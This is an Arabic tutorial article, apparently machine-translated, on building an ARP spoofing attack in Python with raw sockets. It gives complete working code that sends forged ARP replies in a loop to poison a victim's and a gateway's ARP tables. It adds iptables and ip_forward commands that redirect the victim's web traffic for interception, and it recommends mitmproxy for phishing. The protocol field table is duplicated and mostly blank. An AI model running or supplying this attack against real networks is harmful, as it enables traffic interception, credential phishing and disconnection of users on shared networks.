المقدمة
في هذه المقالة ، أود أن أوضح كيف يمكنك تنفيذ برنامج انتحال ARP الخاص بك في Python. يوجد بالفعل الآلاف من التطبيقات ، لكن جميعها تقريبًا تستخدم مكتبة Scapy وطريقتين. ربما تكون هذه المكتبة أكثر فاعلية في الاستخدام ، لا أجادل ، لكنني كنت مهتمًا بتنفيذها بنفسي باستخدام المقابس وأود أن أخبر القراء كيف يتم ذلك.
من المفترض أنك على دراية بكيفية عمل بروتوكول ARP وعيوبه ، إذا لم يكن الأمر كذلك ، فإنني أنصحك بقراءة هذه المقالة .
أنا لست متخصصًا في أمن المعلومات مؤهلًا تأهيلا عاليا ، لذا أطلب منك عدم إلقاء النعال ، ولكن تحديد أي أخطاء في التعليقات.
قليلا من النظرية
لنبدأ بحقيقة أن رمز البروتوكول هو \ x08 \ x06 ويعمل في طبقة OSI الثانية ، أي القناة الأولى.
ثم تحتاج إلى التعرف على جسم الحزمة الخاصة به لمعرفة ما يجب إرساله. على ويكيبيديا هو مكتوب بشكل جيد للغاية:
جسم العبوة
Hardware type (HTYPE)
, . , Ethernet 0x0001.
Protocol type (PTYPE)
. , IPv4 0x0800.
Hardware length (HLEN)
. Ethernet 6 (0x06).
Protocol length (PLEN)
. IPv4 4 (0x04).
Operation
: 0x0001 0x0002 .
Sender hardware address (SHA)
.
Sender protocol address (SPA)
.
Target hardware address (THA)
. .
Target protocol address (TPA)
.
, . , Ethernet 0x0001.
Protocol type (PTYPE)
. , IPv4 0x0800.
Hardware length (HLEN)
. Ethernet 6 (0x06).
Protocol length (PLEN)
. IPv4 4 (0x04).
Operation
: 0x0001 0x0002 .
Sender hardware address (SHA)
.
Sender protocol address (SPA)
.
Target hardware address (THA)
. .
Target protocol address (TPA)
.
للوهلة الأولى ، قد يبدو الأمر صعبًا ، ولكن إذا اكتشفت ذلك ، فلا ينبغي أن تنشأ المشاكل.
وهكذا ، فإن الأول - نوع الجهاز (نوع الأجهزة) بالنسبة لنا هو Ethernet ، لذا سيكون الرمز 0x0001 أو \ x00 \ x01 ، نوع البروتوكول (نوع البروتوكول) - IPv4 ، مشفر كـ \ x08 \ x00 ؛ ثم يأتي طول الجهاز ونوع البروتوكول \ x06 \ x04 ، أي 6 و 4 بايت.
وفي النهاية لدينا رمز العملية ، وهو في حالة الطلب \ x00 \ x01 ، وفي حالة الاستجابة \ x00 \ x02 والعناوين الفعلية / المنطقية للمرسل / المستلم.
التنفيذ
بادئ ذي بدء ، تحتاج إلى الإعلان عن مثيل مأخذ وتعيين المعلمات الضرورية:
import socket
import time
interface = "wlan0" #
mac = b"\xbb\xbb\xbb\xbb\xbb\xbb" # MAC-, bb:bb:bb:bb:bb:bb
gateway_ip = socket.inet_aton("192.168.1.1") # IP-
gateway_mac = b"\xaa\xaa\xaa\xaa\xaa\xaa" # MAC-
victim_ip = socket.inet_aton("192.168.1.2") # IP-
victim_mac = b"\xcc\xcc\xcc\xcc\xcc\xcc" # MAC-
connect = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(0x0800))
connect.bind((interface, socket.htons(0x0800)))
بافتراض أن ARP هو بروتوكول OSI Layer 2 ، فإننا نستخدم socket.PF_PACKET كمعامل أول. ستحتاج أيضًا إلى حقوق الجذر حتى يعمل البرنامج.
تقوم طريقة socket.htons () بتحويل الأرقام الطبيعية ذات 16 بت إلى ترتيب بايت الشبكة.
طريقة Socket.inet_aton () تحول عناوين IPv4 إلى تنسيق ثنائي 32 بت.
لقد أعلنت أيضًا عن المتغيرات المطلوبة.
المرحلة التالية هي تشكيل الحزمة:
arp_code = b'\x08\x06' #
htype = b'\x00\x01' # Hardware Type
ptype = b'\x08\x00' # Protocol Type
hlen = b'\x06' # Hardware Length
plen = b'\x04' # Protocol Length
operation = b'\x00\x02' # Operation Code -
protocol = htype + ptype + hlen + plen + operation #
# ,
eth_packet_1 = victim_mac + mac + arp_code
eth_packet_2 = gateway_mac + mac + arp_code
#
# 4 4 ,
request_victim = eth_packet_1 + protocol + mac + gateway_ip + victim_mac + victim_ip
request_gateway = eth_packet_2 + protocol + mac + victim_ip + gateway_mac + gateway_ip
#
while True:
connect.send(request_victim)
connect.send(request_gateway)
time.sleep(1)
الآن قمنا بتحليل البرنامج نفسه فقط ، ولكن إذا كنت لا تريد فقط فصل المستخدمين عن البوابة ، ولكن أيضًا لاستبدال / شم الحزم ، فحينئذٍ ستحتاج إلى تمكين إعادة التوجيه في ip_forward:
echo 1 > /proc/sys/net/ipv4/ip_forward
وقم أيضًا بتهيئة توجيه الحزمة من خلال iptables:
iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080
إذا كنت ترغب في إجراء تصيّد ، فإن الأداة المساعدة mitmproxy هي الخيار الأفضل .
يمكنك عرض حركة المرور التي تمر عبرك باستخدام الأداة المساعدة tcpdump .
أيضًا على GitHub الخاص بي ، قمت بنشر برنامج نصي مصمم لفصل كل أو بعض العقد من البوابة - github.com/secwayz/netbuster
كنتيجة لكتابة البرنامج ، وجدت أنه حتى مع رمز التشغيل 0x0001(طلب) ومع جميع المعلمات من الاستجابة (تختلف قليلاً) ، لا يزال الضحية يتلقى الحزمة ويغير عنوان MAC في جدول ARP ، بينما يزداد استقرار الهجوم وقوة هذا الإدخال بشكل كبير. أعتقد أن هذا عيب آخر في البروتوكول ، حيث لا تتجاهل واجهة الشبكة الحزمة المكونة بشكل غير صحيح ، ولكنها تعالجها وتستبدل الجدول.